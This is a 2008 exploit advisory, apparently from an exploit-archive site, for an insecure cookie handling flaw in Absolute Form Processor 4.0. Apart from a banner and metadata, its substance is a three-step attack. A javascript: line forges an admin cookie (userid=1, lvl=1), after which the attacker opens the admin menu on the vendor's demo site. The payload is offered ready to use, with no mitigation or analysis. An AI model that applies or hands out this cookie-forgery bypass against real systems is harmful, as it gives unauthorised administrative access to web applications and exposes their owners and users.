Absolute Form Processor 4.0 Insecure Cookie Handling Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Absolute Form Processor 4.0 Insecure Cookie Handling Vulnerability
# Published : 2008-10-31
# Author : Hakxer
# Previous Title : Absolute Banner Manager Insecure Cookie Handling Vulnerability
# Next Title : Absolute Live Support 5.1 Insecure Cookie Handling Vulnerability

###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|    / /   / ____|  /      |      |  |      |  _     |
|_____  | |  _     V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   ____|    |_|      _____|  _____/  |___|  |____  |__| _  ______|

[~] Author : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Form Processor [see script] http://www.xigla.com/absolutefpnet/demo.htm
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutefpnet/demo/login.aspx
Second Execute JS Code 
[~] javascript:document.cookie="xlaAFPDEMOadmin=userid=1&lvl=1&createforms=checked";
Now Go to http://www.xigla.com/absolutefpnet/demo/menu.aspx

--- Proud To Be A Muslim ---

# _=END=_ # 

# www.Syue.com [2008-10-31]